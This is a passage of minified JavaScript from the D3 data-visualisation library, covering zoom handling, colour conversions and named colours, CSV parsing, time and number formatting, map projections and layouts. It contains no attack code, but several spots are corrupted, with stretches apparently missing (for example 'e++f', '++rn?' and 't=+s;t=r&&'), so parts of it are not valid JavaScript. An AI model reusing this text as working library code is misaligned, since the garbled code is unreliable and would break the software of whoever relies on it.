n()}ao.selectAll(_).on(m,null),w.on(L,s).on(R,h),N(),f(v)}var p,g=this,v=D.of(g,arguments),d={},y=0,m=".zoom-"+ao.event.changedTouches[0].identifier,x="touchmove"+m,b="touchend"+m,_=[],w=ao.select(g),N=W(g);t(),l(v),w.on(L,null).on(R,t)}function p(){var n=D.of(this,arguments);m?clearTimeout(m):(Il.call(this),v=e(d=y||ao.mouse(this)),l(n)),m=setTimeout(function(){m=null,f(n)},50),S(),i(Math.pow(2,.002*Bo())*k.k),u(d,v),c(n)}function g(){var n=ao.mouse(this),t=Math.log(k.k)/Math.LN2;o(this,n,e(n),ao.event.shiftKey?Math.ceil(t)-1:Math.floor(t)+1)}var v,d,y,m,M,x,b,_,w,k={x:0,y:0,k:1},E=[960,500],A=Jo,C=250,z=0,L="mousedown.zoom",q="mousemove.zoom",T="mouseup.zoom",R="touchstart.zoom",D=N(n,"zoomstart","zoom","zoomend");return Wo||(Wo="onwheel"in fo?(Bo=function(){return-ao.event.deltaY*(ao.event.deltaMode?120:1)},"wheel"):"onmousewheel"in fo?(Bo=function(){return ao.event.wheelDelta},"mousewheel"):(Bo=function(){return-ao.event.detail},"MozMousePixelScroll")),n.event=function(n){n.each(function(){var n=D.of(this,arguments),t=k;Hl?ao.select(this).transition().each("start.zoom",function(){k=this.__chart__||{x:0,y:0,k:1},l(n)}).tween("zoom:zoom",function(){var e=E[0],r=E[1],i=d?d[0]:e/2,u=d?d[1]:r/2,o=ao.interpolateZoom([(i-k.x)/k.k,(u-k.y)/k.k,e/k.k],[(i-t.x)/t.k,(u-t.y)/t.k,e/t.k]);return function(t){var r=o(t),a=e/r[2];this.__chart__=k={x:i-r[0]*a,y:u-r[1]*a,k:a},c(n)}}).each("interrupt.zoom",function(){f(n)}).each("end.zoom",function(){f(n)}):(this.__chart__=k,l(n),c(n),f(n))})},n.translate=function(t){return arguments.length?(k={x:+t[0],y:+t[1],k:k.k},a(),n):[k.x,k.y]},n.scale=function(t){return arguments.length?(k={x:k.x,y:k.y,k:null},i(+t),a(),n):k.k},n.scaleExtent=function(t){return arguments.length?(A=null==t?Jo:[+t[0],+t[1]],n):A},n.center=function(t){return arguments.length?(y=t&&[+t[0],+t[1]],n):y},n.size=function(t){return arguments.length?(E=t&&[+t[0],+t[1]],n):E},n.duration=function(t){return arguments.length?(C=+t,n):C},n.x=function(t){return arguments.length?(b=t,x=t.copy(),k={x:0,y:0,k:1},n):b},n.y=function(t){return arguments.length?(w=t,_=t.copy(),k={x:0,y:0,k:1},n):w},ao.rebind(n,D,"on")};var Bo,Wo,Jo=[0,1/0];ao.color=an,an.prototype.toString=function(){return this.rgb()+""},ao.hsl=ln;var Go=ln.prototype=new an;Go.brighter=function(n){return n=Math.pow(.7,arguments.length?n:1),new ln(this.h,this.s,this.l/n)},Go.darker=function(n){return n=Math.pow(.7,arguments.length?n:1),new ln(this.h,this.s,n*this.l)},Go.rgb=function(){return cn(this.h,this.s,this.l)},ao.hcl=fn;var Ko=fn.prototype=new an;Ko.brighter=function(n){return new fn(this.h,this.c,Math.min(100,this.l+Qo*(arguments.length?n:1)))},Ko.darker=function(n){return new fn(this.h,this.c,Math.max(0,this.l-Qo*(arguments.length?n:1)))},Ko.rgb=function(){return sn(this.h,this.c,this.l).rgb()},ao.lab=hn;var Qo=18,na=.95047,ta=1,ea=1.08883,ra=hn.prototype=new an;ra.brighter=function(n){return new hn(Math.min(100,this.l+Qo*(arguments.length?n:1)),this.a,this.b)},ra.darker=function(n){return new hn(Math.max(0,this.l-Qo*(arguments.length?n:1)),this.a,this.b)},ra.rgb=function(){return pn(this.l,this.a,this.b)},ao.rgb=mn;var ia=mn.prototype=new an;ia.brighter=function(n){n=Math.pow(.7,arguments.length?n:1);var t=this.r,e=this.g,r=this.b,i=30;return t||e||r?(t&&i>t&&(t=i),e&&i>e&&(e=i),r&&i>r&&(r=i),new mn(Math.min(255,t/n),Math.min(255,e/n),Math.min(255,r/n))):new mn(i,i,i)},ia.darker=function(n){return n=Math.pow(.7,arguments.length?n:1),new mn(n*this.r,n*this.g,n*this.b)},ia.hsl=function(){return wn(this.r,this.g,this.b)},ia.toString=function(){return"#"+bn(this.r)+bn(this.g)+bn(this.b)};var ua=ao.map({aliceblue:15792383,antiquewhite:16444375,aqua:65535,aquamarine:8388564,azure:15794175,beige:16119260,bisque:16770244,black:0,blanchedalmond:16772045,blue:255,blueviolet:9055202,brown:10824234,burlywood:14596231,cadetblue:6266528,chartreuse:8388352,chocolate:13789470,coral:16744272,cornflowerblue:6591981,cornsilk:16775388,crimson:14423100,cyan:65535,darkblue:139,darkcyan:35723,darkgoldenrod:12092939,darkgray:11119017,darkgreen:25600,darkgrey:11119017,darkkhaki:12433259,darkmagenta:9109643,darkolivegreen:5597999,darkorange:16747520,darkorchid:10040012,darkred:9109504,darksalmon:15308410,darkseagreen:9419919,darkslateblue:4734347,darkslategray:3100495,darkslategrey:3100495,darkturquoise:52945,darkviolet:9699539,deeppink:16716947,deepskyblue:49151,dimgray:6908265,dimgrey:6908265,dodgerblue:2003199,firebrick:11674146,floralwhite:16775920,forestgreen:2263842,fuchsia:16711935,gainsboro:14474460,ghostwhite:16316671,gold:16766720,goldenrod:14329120,gray:8421504,green:32768,greenyellow:11403055,grey:8421504,honeydew:15794160,hotpink:16738740,indianred:13458524,indigo:4915330,ivory:16777200,khaki:15787660,lavender:15132410,lavenderblush:16773365,lawngreen:8190976,lemonchiffon:16775885,lightblue:11393254,lightcoral:15761536,lightcyan:14745599,lightgoldenrodyellow:16448210,lightgray:13882323,lightgreen:9498256,lightgrey:13882323,lightpink:16758465,lightsalmon:16752762,lightseagreen:2142890,lightskyblue:8900346,lightslategray:7833753,lightslategrey:7833753,lightsteelblue:11584734,lightyellow:16777184,lime:65280,limegreen:3329330,linen:16445670,magenta:16711935,maroon:8388608,mediumaquamarine:6737322,mediumblue:205,mediumorchid:12211667,mediumpurple:9662683,mediumseagreen:3978097,mediumslateblue:8087790,mediumspringgreen:64154,mediumturquoise:4772300,mediumvioletred:13047173,midnightblue:1644912,mintcream:16121850,mistyrose:16770273,moccasin:16770229,navajowhite:16768685,navy:128,oldlace:16643558,olive:8421376,olivedrab:7048739,orange:16753920,orangered:16729344,orchid:14315734,palegoldenrod:15657130,palegreen:10025880,paleturquoise:11529966,palevioletred:14381203,papayawhip:16773077,peachpuff:16767673,peru:13468991,pink:16761035,plum:14524637,powderblue:11591910,purple:8388736,rebeccapurple:6697881,red:16711680,rosybrown:12357519,royalblue:4286945,saddlebrown:9127187,salmon:16416882,sandybrown:16032864,seagreen:3050327,seashell:16774638,sienna:10506797,silver:12632256,skyblue:8900331,slateblue:6970061,slategray:7372944,slategrey:7372944,snow:16775930,springgreen:65407,steelblue:4620980,tan:13808780,teal:32896,thistle:14204888,tomato:16737095,turquoise:4251856,violet:15631086,wheat:16113331,white:16777215,whitesmoke:16119285,yellow:16776960,yellowgreen:10145074});ua.forEach(function(n,t){ua.set(n,Mn(t))}),ao.functor=En,ao.xhr=An(m),ao.dsv=function(n,t){function e(n,e,u){arguments.length<3&&(u=e,e=null);var o=Cn(n,t,null==e?r:i(e),u);return o.row=function(n){return arguments.length?o.response(null==(e=n)?r:i(n)):e},o}function r(n){return e.parse(n.responseText)}function i(n){return function(t){return e.parse(t.responseText,n)}}function u(t){return t.map(o).join(n)}function o(n){return a.test(n)?'"'+n.replace(/\"/g,'""')+'"':n}var a=new RegExp('["'+n+"\n]"),l=n.charCodeAt(0);return e.parse=function(n,t){var r;return e.parseRows(n,function(n,e){if(r)return r(n,e-1);var i=new Function("d","return {"+n.map(function(n,t){return JSON.stringify(n)+": d["+t+"]"}).join(",")+"}");r=t?function(n,e){return t(i(n),e)}:i})},e.parseRows=function(n,t){function e(){if(f>=c)return o;if(i)return i=!1,u;var t=f;if(34===n.charCodeAt(t)){for(var e=t;e++f;){var r=n.charCodeAt(f++),a=1;if(10===r)i=!0;else if(13===r)i=!0,10===n.charCodeAt(f)&&(++f,++a);else if(r!==l)continue;return n.slice(t,f-a)}return n.slice(t)}for(var r,i,u={},o={},a=[],c=n.length,f=0,s=0;(r=e())!==o;){for(var h=[];r!==u&&r!==o;)h.push(r),r=e();t&&null==(h=t(h,s++))||a.push(h)}return a},e.format=function(t){if(Array.isArray(t[0]))return e.formatRows(t);var r=new y,i=[];return t.forEach(function(n){for(var t in n)r.has(t)||i.push(r.add(t))}),[i.map(o).join(n)].concat(t.map(function(t){return i.map(function(n){return o(t[n])}).join(n)})).join("\n")},e.formatRows=function(n){return n.map(u).join("\n")},e},ao.csv=ao.dsv(",","text/csv"),ao.tsv=ao.dsv(" ","text/tab-separated-values");var oa,aa,la,ca,fa=this[x(this,"requestAnimationFrame")]||function(n){setTimeout(n,17)};ao.timer=function(){qn.apply(this,arguments)},ao.timer.flush=function(){Rn(),Dn()},ao.round=function(n,t){return t?Math.round(n*(t=Math.pow(10,t)))/t:Math.round(n)};var sa=["y","z","a","f","p","n","\xb5","m","","k","M","G","T","P","E","Z","Y"].map(Un);ao.formatPrefix=function(n,t){var e=0;return(n=+n)&&(0>n&&(n*=-1),t&&(n=ao.round(n,Pn(n,t))),e=1+Math.floor(1e-12+Math.log(n)/Math.LN10),e=Math.max(-24,Math.min(24,3*Math.floor((e-1)/3)))),sa[8+e/3]};var ha=/(?:([^{])?([<>=^]))?([+\- ])?([$#])?(0)?(\d+)?(,)?(\.-?\d+)?([a-z%])?/i,pa=ao.map({b:function(n){return n.toString(2)},c:function(n){return String.fromCharCode(n)},o:function(n){return n.toString(8)},x:function(n){return n.toString(16)},X:function(n){return n.toString(16).toUpperCase()},g:function(n,t){return n.toPrecision(t)},e:function(n,t){return n.toExponential(t)},f:function(n,t){return n.toFixed(t)},r:function(n,t){return(n=ao.round(n,Pn(n,t))).toFixed(Math.max(0,Math.min(20,Pn(n*(1+1e-15),t))))}}),ga=ao.time={},va=Date;Hn.prototype={getDate:function(){return this._.getUTCDate()},getDay:function(){return this._.getUTCDay()},getFullYear:function(){return this._.getUTCFullYear()},getHours:function(){return this._.getUTCHours()},getMilliseconds:function(){return this._.getUTCMilliseconds()},getMinutes:function(){return this._.getUTCMinutes()},getMonth:function(){return this._.getUTCMonth()},getSeconds:function(){return this._.getUTCSeconds()},getTime:function(){return this._.getTime()},getTimezoneOffset:function(){return 0},valueOf:function(){return this._.valueOf()},setDate:function(){da.setUTCDate.apply(this._,arguments)},setDay:function(){da.setUTCDay.apply(this._,arguments)},setFullYear:function(){da.setUTCFullYear.apply(this._,arguments)},setHours:function(){da.setUTCHours.apply(this._,arguments)},setMilliseconds:function(){da.setUTCMilliseconds.apply(this._,arguments)},setMinutes:function(){da.setUTCMinutes.apply(this._,arguments)},setMonth:function(){da.setUTCMonth.apply(this._,arguments)},setSeconds:function(){da.setUTCSeconds.apply(this._,arguments)},setTime:function(){da.setTime.apply(this._,arguments)}};var da=Date.prototype;ga.year=On(function(n){return n=ga.day(n),n.setMonth(0,1),n},function(n,t){n.setFullYear(n.getFullYear()+t)},function(n){return n.getFullYear()}),ga.years=ga.year.range,ga.years.utc=ga.year.utc.range,ga.day=On(function(n){var t=new va(2e3,0);return t.setFullYear(n.getFullYear(),n.getMonth(),n.getDate()),t},function(n,t){n.setDate(n.getDate()+t)},function(n){return n.getDate()-1}),ga.days=ga.day.range,ga.days.utc=ga.day.utc.range,ga.dayOfYear=function(n){var t=ga.year(n);return Math.floor((n-t-6e4*(n.getTimezoneOffset()-t.getTimezoneOffset()))/864e5)},["sunday","monday","tuesday","wednesday","thursday","friday","saturday"].forEach(function(n,t){t=7-t;var e=ga[n]=On(function(n){return(n=ga.day(n)).setDate(n.getDate()-(n.getDay()+t)%7),n},function(n,t){n.setDate(n.getDate()+7*Math.floor(t))},function(n){var e=ga.year(n).getDay();return Math.floor((ga.dayOfYear(n)+(e+t)%7)/7)-(e!==t)});ga[n+"s"]=e.range,ga[n+"s"].utc=e.utc.range,ga[n+"OfYear"]=function(n){var e=ga.year(n).getDay();return Math.floor((ga.dayOfYear(n)+(e+t)%7)/7)}}),ga.week=ga.sunday,ga.weeks=ga.sunday.range,ga.weeks.utc=ga.sunday.utc.range,ga.weekOfYear=ga.sundayOfYear;var ya={"-":"",_:" ",0:"0"},ma=/^\s*\d+/,Ma=/^%/;ao.locale=function(n){return{numberFormat:jn(n),timeFormat:Yn(n)}};var xa=ao.locale({decimal:".",thousands:",",grouping:[3],currency:["$",""],dateTime:"%a %b %e %X %Y",date:"%m/%d/%Y",time:"%H:%M:%S",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"], shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});ao.format=xa.numberFormat,ao.geo={},ft.prototype={s:0,t:0,add:function(n){st(n,this.t,ba),st(ba.s,this.s,this),this.s?this.t+=ba.t:this.s=ba.t},reset:function(){this.s=this.t=0},valueOf:function(){return this.s}};var ba=new ft;ao.geo.stream=function(n,t){n&&_a.hasOwnProperty(n.type)?_a[n.type](n,t):ht(n,t)};var _a={Feature:function(n,t){ht(n.geometry,t)},FeatureCollection:function(n,t){for(var e=n.features,r=-1,i=e.length;++rn?4*Fo+n:n,Na.lineStart=Na.lineEnd=Na.point=b}};ao.geo.bounds=function(){function n(n,t){M.push(x=[f=n,h=n]),s>t&&(s=t),t>p&&(p=t)}function t(t,e){var r=dt([t*Yo,e*Yo]);if(y){var i=mt(y,r),u=[i[1],-i[0],0],o=mt(u,i);bt(o),o=_t(o);var l=t-g,c=l>0?1:-1,v=o[0]*Zo*c,d=xo(l)>180;if(d^(v>c*g&&c*t>v)){var m=o[1]*Zo;m>p&&(p=m)}else if(v=(v+360)%360-180,d^(v>c*g&&c*t>v)){var m=-o[1]*Zo;s>m&&(s=m)}else s>e&&(s=e),e>p&&(p=e);d?g>t?a(f,t)>a(f,h)&&(h=t):a(t,h)>a(f,h)&&(f=t):h>=f?(f>t&&(f=t),t>h&&(h=t)):t>g?a(f,t)>a(f,h)&&(h=t):a(t,h)>a(f,h)&&(f=t)}else n(t,e);y=r,g=t}function e(){b.point=t}function r(){x[0]=f,x[1]=h,b.point=n,y=null}function i(n,e){if(y){var r=n-g;m+=xo(r)>180?r+(r>0?360:-360):r}else v=n,d=e;Na.point(n,e),t(n,e)}function u(){Na.lineStart()}function o(){i(v,d),Na.lineEnd(),xo(m)>Uo&&(f=-(h=180)),x[0]=f,x[1]=h,y=null}function a(n,t){return(t-=n)<0?t+360:t}function l(n,t){return n[0]-t[0]}function c(n,t){return t[0]<=t[1]?t[0]<=n&&n<=t[1]:nka?(f=-(h=180),s=-(p=90)):m>Uo?p=90:-Uo>m&&(s=-90),x[0]=f,x[1]=h}};return function(n){p=h=-(f=s=1/0),M=[],ao.geo.stream(n,b);var t=M.length;if(t){M.sort(l);for(var e,r=1,i=M[0],u=[i];t>r;++r)e=M[r],c(e[0],i)||c(e[1],i)?(a(i[0],e[1])>a(i[0],i[1])&&(i[1]=e[1]),a(e[0],i[1])>a(i[0],i[1])&&(i[0]=e[0])):u.push(i=e);for(var o,e,g=-(1/0),t=u.length-1,r=0,i=u[t];t>=r;i=e,++r)e=u[r],(o=a(i[1],e[0]))>g&&(g=o,f=e[0],h=i[1])}return M=x=null,f===1/0||s===1/0?[[NaN,NaN],[NaN,NaN]]:[[f,s],[h,p]]}}(),ao.geo.centroid=function(n){Ea=Aa=Ca=za=La=qa=Ta=Ra=Da=Pa=Ua=0,ao.geo.stream(n,ja);var t=Da,e=Pa,r=Ua,i=t*t+e*e+r*r;return jo>i&&(t=qa,e=Ta,r=Ra,Uo>Aa&&(t=Ca,e=za,r=La),i=t*t+e*e+r*r,jo>i)?[NaN,NaN]:[Math.atan2(e,t)*Zo,tn(r/Math.sqrt(i))*Zo]};var Ea,Aa,Ca,za,La,qa,Ta,Ra,Da,Pa,Ua,ja={sphere:b,point:St,lineStart:Nt,lineEnd:Et,polygonStart:function(){ja.lineStart=At},polygonEnd:function(){ja.lineStart=Nt}},Fa=Rt(zt,jt,Ht,[-Fo,-Fo/2]),Ha=1e9;ao.geo.clipExtent=function(){var n,t,e,r,i,u,o={stream:function(n){return i&&(i.valid=!1),i=u(n),i.valid=!0,i},extent:function(a){return arguments.length?(u=Zt(n=+a[0][0],t=+a[0][1],e=+a[1][0],r=+a[1][1]),i&&(i.valid=!1,i=null),o):[[n,t],[e,r]]}};return o.extent([[0,0],[960,500]])},(ao.geo.conicEqualArea=function(){return Vt(Xt)}).raw=Xt,ao.geo.albers=function(){return ao.geo.conicEqualArea().rotate([96,0]).center([-.6,38.7]).parallels([29.5,45.5]).scale(1070)},ao.geo.albersUsa=function(){function n(n){var u=n[0],o=n[1];return t=null,e(u,o),t||(r(u,o),t)||i(u,o),t}var t,e,r,i,u=ao.geo.albers(),o=ao.geo.conicEqualArea().rotate([154,0]).center([-2,58.5]).parallels([55,65]),a=ao.geo.conicEqualArea().rotate([157,0]).center([-3,19.9]).parallels([8,18]),l={point:function(n,e){t=[n,e]}};return n.invert=function(n){var t=u.scale(),e=u.translate(),r=(n[0]-e[0])/t,i=(n[1]-e[1])/t;return(i>=.12&&.234>i&&r>=-.425&&-.214>r?o:i>=.166&&.234>i&&r>=-.214&&-.115>r?a:u).invert(n)},n.stream=function(n){var t=u.stream(n),e=o.stream(n),r=a.stream(n);return{point:function(n,i){t.point(n,i),e.point(n,i),r.point(n,i)},sphere:function(){t.sphere(),e.sphere(),r.sphere()},lineStart:function(){t.lineStart(),e.lineStart(),r.lineStart()},lineEnd:function(){t.lineEnd(),e.lineEnd(),r.lineEnd()},polygonStart:function(){t.polygonStart(),e.polygonStart(),r.polygonStart()},polygonEnd:function(){t.polygonEnd(),e.polygonEnd(),r.polygonEnd()}}},n.precision=function(t){return arguments.length?(u.precision(t),o.precision(t),a.precision(t),n):u.precision()},n.scale=function(t){return arguments.length?(u.scale(t),o.scale(.35*t),a.scale(t),n.translate(u.translate())):u.scale()},n.translate=function(t){if(!arguments.length)return u.translate();var c=u.scale(),f=+t[0],s=+t[1];return e=u.translate(t).clipExtent([[f-.455*c,s-.238*c],[f+.455*c,s+.238*c]]).stream(l).point,r=o.translate([f-.307*c,s+.201*c]).clipExtent([[f-.425*c+Uo,s+.12*c+Uo],[f-.214*c-Uo,s+.234*c-Uo]]).stream(l).point,i=a.translate([f-.205*c,s+.212*c]).clipExtent([[f-.214*c+Uo,s+.166*c+Uo],[f-.115*c-Uo,s+.234*c-Uo]]).stream(l).point,n},n.scale(1070)};var Oa,Ia,Ya,Za,Va,Xa,$a={point:b,lineStart:b,lineEnd:b,polygonStart:function(){Ia=0,$a.lineStart=$t},polygonEnd:function(){$a.lineStart=$a.lineEnd=$a.point=b,Oa+=xo(Ia/2)}},Ba={point:Bt,lineStart:b,lineEnd:b,polygonStart:b,polygonEnd:b},Wa={point:Gt,lineStart:Kt,lineEnd:Qt,polygonStart:function(){Wa.lineStart=ne},polygonEnd:function(){Wa.point=Gt,Wa.lineStart=Kt,Wa.lineEnd=Qt}};ao.geo.path=function(){function n(n){return n&&("function"==typeof a&&u.pointRadius(+a.apply(this,arguments)),o&&o.valid||(o=i(u)),ao.geo.stream(n,o)),u.result()}function t(){return o=null,n}var e,r,i,u,o,a=4.5;return n.area=function(n){return Oa=0,ao.geo.stream(n,i($a)),Oa},n.centroid=function(n){return Ca=za=La=qa=Ta=Ra=Da=Pa=Ua=0,ao.geo.stream(n,i(Wa)),Ua?[Da/Ua,Pa/Ua]:Ra?[qa/Ra,Ta/Ra]:La?[Ca/La,za/La]:[NaN,NaN]},n.bounds=function(n){return Va=Xa=-(Ya=Za=1/0),ao.geo.stream(n,i(Ba)),[[Ya,Za],[Va,Xa]]},n.projection=function(n){return arguments.length?(i=(e=n)?n.stream||re(n):m,t()):e},n.context=function(n){return arguments.length?(u=null==(r=n)?new Wt:new te(n),"function"!=typeof a&&u.pointRadius(a),t()):r},n.pointRadius=function(t){return arguments.length?(a="function"==typeof t?t:(u.pointRadius(+t),+t),n):a},n.projection(ao.geo.albersUsa()).context(null)},ao.geo.transform=function(n){return{stream:function(t){var e=new ie(t);for(var r in n)e[r]=n[r];return e}}},ie.prototype={point:function(n,t){this.stream.point(n,t)},sphere:function(){this.stream.sphere()},lineStart:function(){this.stream.lineStart()},lineEnd:function(){this.stream.lineEnd()},polygonStart:function(){this.stream.polygonStart()},polygonEnd:function(){this.stream.polygonEnd()}},ao.geo.projection=oe,ao.geo.projectionMutator=ae,(ao.geo.equirectangular=function(){return oe(ce)}).raw=ce.invert=ce,ao.geo.rotation=function(n){function t(t){return t=n(t[0]*Yo,t[1]*Yo),t[0]*=Zo,t[1]*=Zo,t}return n=se(n[0]%360*Yo,n[1]*Yo,n.length>2?n[2]*Yo:0),t.invert=function(t){return t=n.invert(t[0]*Yo,t[1]*Yo),t[0]*=Zo,t[1]*=Zo,t},t},fe.invert=ce,ao.geo.circle=function(){function n(){var n="function"==typeof r?r.apply(this,arguments):r,t=se(-n[0]*Yo,-n[1]*Yo,0).invert,i=[];return e(null,null,1,{point:function(n,e){i.push(n=t(n,e)),n[0]*=Zo,n[1]*=Zo}}),{type:"Polygon",coordinates:[i]}}var t,e,r=[0,0],i=6;return n.origin=function(t){return arguments.length?(r=t,n):r},n.angle=function(r){return arguments.length?(e=ve((t=+r)*Yo,i*Yo),n):t},n.precision=function(r){return arguments.length?(e=ve(t*Yo,(i=+r)*Yo),n):i},n.angle(90)},ao.geo.distance=function(n,t){var e,r=(t[0]-n[0])*Yo,i=n[1]*Yo,u=t[1]*Yo,o=Math.sin(r),a=Math.cos(r),l=Math.sin(i),c=Math.cos(i),f=Math.sin(u),s=Math.cos(u);return Math.atan2(Math.sqrt((e=s*o)*e+(e=c*f-l*s*a)*e),l*f+c*s*a)},ao.geo.graticule=function(){function n(){return{type:"MultiLineString",coordinates:t()}}function t(){return ao.range(Math.ceil(u/d)*d,i,d).map(h).concat(ao.range(Math.ceil(c/y)*y,l,y).map(p)).concat(ao.range(Math.ceil(r/g)*g,e,g).filter(function(n){return xo(n%d)>Uo}).map(f)).concat(ao.range(Math.ceil(a/v)*v,o,v).filter(function(n){return xo(n%y)>Uo}).map(s))}var e,r,i,u,o,a,l,c,f,s,h,p,g=10,v=g,d=90,y=360,m=2.5;return n.lines=function(){return t().map(function(n){return{type:"LineString",coordinates:n}})},n.outline=function(){return{type:"Polygon",coordinates:[h(u).concat(p(l).slice(1),h(i).reverse().slice(1),p(c).reverse().slice(1))]}},n.extent=function(t){return arguments.length?n.majorExtent(t).minorExtent(t):n.minorExtent()},n.majorExtent=function(t){return arguments.length?(u=+t[0][0],i=+t[1][0],c=+t[0][1],l=+t[1][1],u>i&&(t=u,u=i,i=t),c>l&&(t=c,c=l,l=t),n.precision(m)):[[u,c],[i,l]]},n.minorExtent=function(t){return arguments.length?(r=+t[0][0],e=+t[1][0],a=+t[0][1],o=+t[1][1],r>e&&(t=r,r=e,e=t),a>o&&(t=a,a=o,o=t),n.precision(m)):[[r,a],[e,o]]},n.step=function(t){return arguments.length?n.majorStep(t).minorStep(t):n.minorStep()},n.majorStep=function(t){return arguments.length?(d=+t[0],y=+t[1],n):[d,y]},n.minorStep=function(t){return arguments.length?(g=+t[0],v=+t[1],n):[g,v]},n.precision=function(t){return arguments.length?(m=+t,f=ye(a,o,90),s=me(r,e,m),h=ye(c,l,90),p=me(u,i,m),n):m},n.majorExtent([[-180,-90+Uo],[180,90-Uo]]).minorExtent([[-180,-80-Uo],[180,80+Uo]])},ao.geo.greatArc=function(){function n(){return{type:"LineString",coordinates:[t||r.apply(this,arguments),e||i.apply(this,arguments)]}}var t,e,r=Me,i=xe;return n.distance=function(){return ao.geo.distance(t||r.apply(this,arguments),e||i.apply(this,arguments))},n.source=function(e){return arguments.length?(r=e,t="function"==typeof e?null:e,n):r},n.target=function(t){return arguments.length?(i=t,e="function"==typeof t?null:t,n):i},n.precision=function(){return arguments.length?n:0},n},ao.geo.interpolate=function(n,t){return be(n[0]*Yo,n[1]*Yo,t[0]*Yo,t[1]*Yo)},ao.geo.length=function(n){return Ja=0,ao.geo.stream(n,Ga),Ja};var Ja,Ga={sphere:b,point:b,lineStart:_e,lineEnd:b,polygonStart:b,polygonEnd:b},Ka=we(function(n){return Math.sqrt(2/(1+n))},function(n){return 2*Math.asin(n/2)});(ao.geo.azimuthalEqualArea=function(){return oe(Ka)}).raw=Ka;var Qa=we(function(n){var t=Math.acos(n);return t&&t/Math.sin(t)},m);(ao.geo.azimuthalEquidistant=function(){return oe(Qa)}).raw=Qa,(ao.geo.conicConformal=function(){return Vt(Se)}).raw=Se,(ao.geo.conicEquidistant=function(){return Vt(ke)}).raw=ke;var nl=we(function(n){return 1/n},Math.atan);(ao.geo.gnomonic=function(){return oe(nl)}).raw=nl,Ne.invert=function(n,t){return[n,2*Math.atan(Math.exp(t))-Io]},(ao.geo.mercator=function(){return Ee(Ne)}).raw=Ne;var tl=we(function(){return 1},Math.asin);(ao.geo.orthographic=function(){return oe(tl)}).raw=tl;var el=we(function(n){return 1/(1+n)},function(n){return 2*Math.atan(n)});(ao.geo.stereographic=function(){return oe(el)}).raw=el,Ae.invert=function(n,t){return[-t,2*Math.atan(Math.exp(n))-Io]},(ao.geo.transverseMercator=function(){var n=Ee(Ae),t=n.center,e=n.rotate;return n.center=function(n){return n?t([-n[1],n[0]]):(n=t(),[n[1],-n[0]])},n.rotate=function(n){return n?e([n[0],n[1],n.length>2?n[2]+90:90]):(n=e(),[n[0],n[1],n[2]-90])},e([0,0,90])}).raw=Ae,ao.geom={},ao.geom.hull=function(n){function t(n){if(n.length<3)return[];var t,i=En(e),u=En(r),o=n.length,a=[],l=[];for(t=0;o>t;t++)a.push([+i.call(this,n[t],t),+u.call(this,n[t],t),t]);for(a.sort(qe),t=0;o>t;t++)l.push([a[t][0],-a[t][1]]);var c=Le(a),f=Le(l),s=f[0]===c[0],h=f[f.length-1]===c[c.length-1],p=[];for(t=c.length-1;t>=0;--t)p.push(n[a[c[t]][2]]);for(t=+s;t=r&&c.x<=u&&c.y>=i&&c.y<=o?[[r,o],[u,o],[u,i],[r,i]]:[];f.point=n[a]}),t}function e(n){return n.map(function(n,t){return{x:Math.round(u(n,t)/Uo)*Uo,y:Math.round(o(n,t)/Uo)*Uo,i:t}})}var r=Ce,i=ze,u=r,o=i,a=sl;return n?t(n):(t.links=function(n){return ar(e(n)).edges.filter(function(n){return n.l&&n.r}).map(function(t){return{source:n[t.l.i],target:n[t.r.i]}})},t.triangles=function(n){var t=[];return ar(e(n)).cells.forEach(function(e,r){for(var i,u,o=e.site,a=e.edges.sort(Ve),l=-1,c=a.length,f=a[c-1].edge,s=f.l===o?f.r:f.l;++l=c,h=r>=f,p=h<<1|s;n.leaf=!1,n=n.nodes[p]||(n.nodes[p]=hr()),s?i=c:a=c,h?o=f:l=f,u(n,t,e,r,i,o,a,l)}var f,s,h,p,g,v,d,y,m,M=En(a),x=En(l);if(null!=t)v=t,d=e,y=r,m=i;else if(y=m=-(v=d=1/0),s=[],h=[],g=n.length,o)for(p=0;g>p;++p)f=n[p],f.xy&&(y=f.x),f.y>m&&(m=f.y),s.push(f.x),h.push(f.y);else for(p=0;g>p;++p){var b=+M(f=n[p],p),_=+x(f,p);v>b&&(v=b),d>_&&(d=_),b>y&&(y=b),_>m&&(m=_),s.push(b),h.push(_)}var w=y-v,S=m-d;w>S?m=d+w:y=v+S;var k=hr();if(k.add=function(n){u(k,n,+M(n,++p),+x(n,p),v,d,y,m)},k.visit=function(n){pr(n,k,v,d,y,m)},k.find=function(n){return gr(k,n[0],n[1],v,d,y,m)},p=-1,null==t){for(;++p=0?n.slice(0,t):n,r=t>=0?n.slice(t+1):"in";return e=vl.get(e)||gl,r=dl.get(r)||m,br(r(e.apply(null,lo.call(arguments,1))))},ao.interpolateHcl=Rr,ao.interpolateHsl=Dr,ao.interpolateLab=Pr,ao.interpolateRound=Ur,ao.transform=function(n){var t=fo.createElementNS(ao.ns.prefix.svg,"g");return(ao.transform=function(n){if(null!=n){t.setAttribute("transform",n);var e=t.transform.baseVal.consolidate()}return new jr(e?e.matrix:yl)})(n)},jr.prototype.toString=function(){return"translate("+this.translate+")rotate("+this.rotate+")skewX("+this.skew+")scale("+this.scale+")"};var yl={a:1,b:0,c:0,d:1,e:0,f:0};ao.interpolateTransform=$r,ao.layout={},ao.layout.bundle=function(){return function(n){for(var t=[],e=-1,r=n.length;++ea*a/y){if(v>l){var c=t.charge/l;n.px-=u*c,n.py-=o*c}return!0}if(t.point&&l&&v>l){var c=t.pointCharge/l;n.px-=u*c,n.py-=o*c}}return!t.charge}}function t(n){n.px=ao.event.x,n.py=ao.event.y,l.resume()}var e,r,i,u,o,a,l={},c=ao.dispatch("start","tick","end"),f=[1,1],s=.9,h=ml,p=Ml,g=-30,v=xl,d=.1,y=.64,M=[],x=[];return l.tick=function(){if((i*=.99)<.005)return e=null,c.end({type:"end",alpha:i=0}),!0;var 